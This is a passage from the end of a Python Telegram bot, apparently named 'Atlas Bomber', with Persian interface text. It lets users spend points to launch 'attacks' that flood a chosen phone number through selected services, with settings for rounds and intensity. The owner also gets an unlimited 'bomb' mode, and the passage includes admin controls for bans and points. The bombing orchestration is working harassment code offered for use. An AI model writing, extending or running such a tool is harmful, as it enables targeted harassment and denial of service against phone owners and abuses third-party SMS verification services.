            user_states[chat_id] = {}
            return

        elif text and state == "awaiting_unban_user_id":
            user_id = text.strip()
            if user_id in bot_data['banned_users']:
                bot_data['banned_users'].remove(user_id)
                save_data(bot_data)
                invalidate_cache()
                await send(f"✅ {user_id} رفع مسدودیت شد.", inline_markup=admin_users_inline_keyboard())
            else:
                await send("❌ در لیست نیست.", inline_markup=admin_users_inline_keyboard())
            user_states[chat_id] = {}
            return

        elif text and state == "awaiting_add_points":
            try:
                parts = text.split("|")
                if len(parts) == 2:
                    user_id, amount = parts[0].strip(), int(parts[1].strip())
                    if user_id in bot_data['users']:
                        new_points = add_points(user_id, amount)
                        await send(f"✅ {amount} امتیاز اضافه شد.\nامتیاز جدید: {new_points}", inline_markup=admin_panel_inline_keyboard())
                    else:
                        await send("❌ کاربر یافت نشد.", inline_markup=admin_panel_inline_keyboard())
                else:
                    await send("❌ فرمت: user_id|amount", inline_markup=admin_panel_inline_keyboard())
            except Exception as e:
                await send(f"❌ خطا: {str(e)}", inline_markup=admin_panel_inline_keyboard())
            user_states[chat_id] = {}
            return

        elif text and state == "owner_blacklist_add":
            phone_to_add = normalize_phone(text)
            if phone_to_add:
                if phone_to_add not in bot_data.get('owner_blacklist', []):
                    bot_data['owner_blacklist'].append(phone_to_add)
                    save_data(bot_data)
                    invalidate_cache()
                    await send(f"✅ {phone_to_add} اضافه شد.", inline_markup=owner_panel_inline_keyboard())
                else:
                    await send("⚠️ قبلاً وجود دارد.", inline_markup=owner_panel_inline_keyboard())
            else:
                await send("❌ شماره نامعتبر.", inline_markup=owner_panel_inline_keyboard())
            user_states[chat_id] = {}
            return

        elif text and state == "owner_blacklist_remove":
            phone_to_remove = normalize_phone(text)
            if phone_to_remove:
                if phone_to_remove in bot_data.get('owner_blacklist', []):
                    bot_data['owner_blacklist'].remove(phone_to_remove)
                    save_data(bot_data)
                    invalidate_cache()
                    await send("✅ حذف شد.", inline_markup=owner_panel_inline_keyboard())
                else:
                    await send("⚠️ وجود ندارد.", inline_markup=owner_panel_inline_keyboard())
            else:
                await send("❌ شماره نامعتبر.", inline_markup=owner_panel_inline_keyboard())
            user_states[chat_id] = {}
            return

        elif text and state == "owner_unlimited_bomb":
            phone_to_bomb = normalize_phone(text)
            if not phone_to_bomb:
                await send("❌ شماره نامعتبر.", reply_markup=cancel_reply_keyboard())
                return
            progress_message = await context.bot.send_message(chat_id, "💣 در حال اجرای بمب نامحدود...")
            message_id = progress_message.message_id
            stop_event = Event()
            stop_events[chat_id] = stop_event
            all_services = get_active_services()
            Thread(target=bombing_run_with_progress,
                   args=[context.application, chat_id, message_id, phone_to_bomb, 0.3, 3, stop_event, all_services],
                   daemon=True).start()
            user_states[chat_id] = {}
            return

        # ============= بخش حمله =============
        if callback_data == "attack_all":
            if state != "awaiting_attack_type":
                return
            user_states[chat_id]['selected_services'] = list(get_active_services().keys())
            user_states[chat_id]['state'] = 'awaiting_rounds'
            await send("🔄 تعداد دور:", inline_markup=rounds_inline_keyboard())
            return

        elif callback_data == "attack_select":
            if state != "awaiting_attack_type":
                return
            user_states[chat_id]['state'] = 'selecting_services'
            user_states[chat_id]['selected_services'] = []
            await send("🎯 سرویس‌ها را انتخاب کنید:", inline_markup=service_selection_inline_keyboard(chat_id))
            return

        elif callback_data and callback_data.startswith("select_service_"):
            if state != "selecting_services":
                return
            service_name = callback_data.replace("select_service_", "")
            selected = user_states[chat_id].get('selected_services', [])
            if service_name in selected:
                selected.remove(service_name)
            else:
                selected.append(service_name)
            user_states[chat_id]['selected_services'] = selected
            try:
                await callback_query.edit_message_reply_markup(
                    reply_markup=service_selection_inline_keyboard(chat_id)
                )
            except Exception as e:
                print(f"خطا در ویرایش کیپد: {e}")
            return

        elif callback_data == "confirm_service_selection":
            if state != "selecting_services":
                return
            if not user_states[chat_id].get('selected_services'):
                await send("⚠️ هیچ سرویسی انتخاب نشده!", inline_markup=service_selection_inline_keyboard(chat_id))
                return
            user_states[chat_id]['state'] = 'awaiting_rounds'
            await send("🔄 تعداد دور:", inline_markup=rounds_inline_keyboard())
            return

        elif callback_data and callback_data.startswith("rounds_"):
            if state != 'awaiting_rounds':
                return
            user_states[chat_id]['rounds'] = int(callback_data.split('_')[1])
            user_states[chat_id]['state'] = 'awaiting_intensity'
            await send("⚡️ شدت حمله:", inline_markup=intensity_inline_keyboard())
            return

        elif callback_data and callback_data.startswith("delay_"):
            if state != 'awaiting_intensity':
                return
            user_states[chat_id]['delay'] = float(callback_data.split('_')[1])
            user_states[chat_id]['state'] = 'awaiting_confirmation'
            s = user_states[chat_id]
            delay_map = {1.5: "🐌 آهسته", 0.8: "⚡ متوسط", 0.3: "🔥 سریع"}
            await send(
                f"🔔 تایید نهایی 🔔\n\n"
                f"▪️ شماره: {s['phone']}\n"
                f"▪️ دور: {s['rounds']}\n"
                f"▪️ شدت: {delay_map.get(s['delay'], str(s['delay']))}\n"
                f"▪️ تعداد سرویس: {len(s['selected_services'])}",
                inline_markup=confirmation_inline_keyboard()
            )
            return

        elif callback_data == "confirm_attack":
            if state != 'awaiting_confirmation':
                return
            s = user_states[chat_id]
            phone, rounds, delay, services = s['phone'], s['rounds'], s['delay'], s['selected_services']
            user_points = get_user_points(chat_id)
            if user_points < 3:
                await send("⚠️ امتیاز کافی ندارید!", reply_markup=main_menu_reply_keyboard())
                user_states[chat_id] = {}
                return
            data = load_data()
            current_points = data["points"].get(str(chat_id), 0)
            if current_points >= 3:
                data["points"][str(chat_id)] = current_points - 3
                save_data(data)
                invalidate_cache()
            else:
                await send("⚠️ امتیاز کافی ندارید!", reply_markup=main_menu_reply_keyboard())
                user_states[chat_id] = {}
                return
            active_services_map = get_active_services()
            selected_services_map = {name: active_services_map[name] for name in services if name in active_services_map}
            if not selected_services_map:
                await send("❌ سرویس فعالی نیست.", reply_markup=main_menu_reply_keyboard())
                user_states[chat_id] = {}
                return
            progress_message = await context.bot.send_message(chat_id, "✅ در حال آماده‌سازی...")
            message_id = progress_message.message_id
            stop_event = Event()
            stop_events[chat_id] = stop_event
            Thread(target=bombing_run_with_progress,
                   args=[context.application, chat_id, message_id, phone, delay, rounds, stop_event, selected_services_map],
                   daemon=True).start()
            user_states[chat_id] = {}
            return

        elif text == "🚫 لغو عملیات" or callback_data == "cancel_op":
            if chat_id in stop_events:
                stop_events[chat_id].set()
                await send("⏳ درخواست لغو ارسال شد...")
            else:
                await send("❌ عملیات فعالی نیست.")
            return

        if callback_data == "back_to_admin":
            user_states[chat_id] = {"state": "admin_panel"}
            await send("👑 پنل مدیریت:", inline_markup=admin_panel_inline_keyboard())
            return

        if callback_data:
            print(f"[DEBUG] Unhandled callback: {callback_data} state={state}")
            await send("❓ دستور نامعتبر.", reply_markup=main_menu_reply_keyboard())

    except Exception as e:
        print(f"❌ خطا: {e}")
        traceback.print_exc()
        try:
            await context.bot.send_message(chat_id, "❌ خطایی رخ داد.", reply_markup=main_menu_reply_keyboard())
        except Exception:
            pass


# ==================== اجرا ====================
async def post_init(application: Application):
    me = await application.bot.get_me()
    data = load_data()
    data["bot_username"] = me.username
    save_data(data)
    invalidate_cache()
    print(f"✅ ربات @{me.username} راه‌اندازی شد.")


def main():
    global MAIN_LOOP
    os_system('cls' if os_name == 'nt' else 'clear')
    load_data()

    print("=" * 50)
    print("  🚀 ربات اطلس بمبر (تلگرام)")
    print("  برای توقف CTRL+C را فشار دهید")
    print("=" * 50)

    application = (
        Application.builder()
        .token(BOT_TOKEN)
        .post_init(post_init)
        .build()
    )

    application.add_handler(MessageHandler(filters.ALL, handle_all))
    application.add_handler(CallbackQueryHandler(handle_all))

    try:
        MAIN_LOOP = asyncio.new_event_loop()
        asyncio.set_event_loop(MAIN_LOOP)
        MAIN_LOOP.run_until_complete(application.initialize())
        MAIN_LOOP.run_until_complete(application.start())
        MAIN_LOOP.run_until_complete(application.updater.start_polling(drop_pending_updates=True))
        print("🚀 ربات اطلس بمبر در حال اجراست...")
        MAIN_LOOP.run_forever()
    except KeyboardInterrupt:
        print("\n...ربات متوقف شد")
    except Exception as e:
        print(f"\nخطا: {e}")
        traceback.print_exc()
    finally:
        try:
            MAIN_LOOP.run_until_complete(application.updater.stop())
            MAIN_LOOP.run_until_complete(application.stop())
            MAIN_LOOP.run_until_complete(application.shutdown())
        except Exception:
            pass


if __name__ == "__main__":
    main()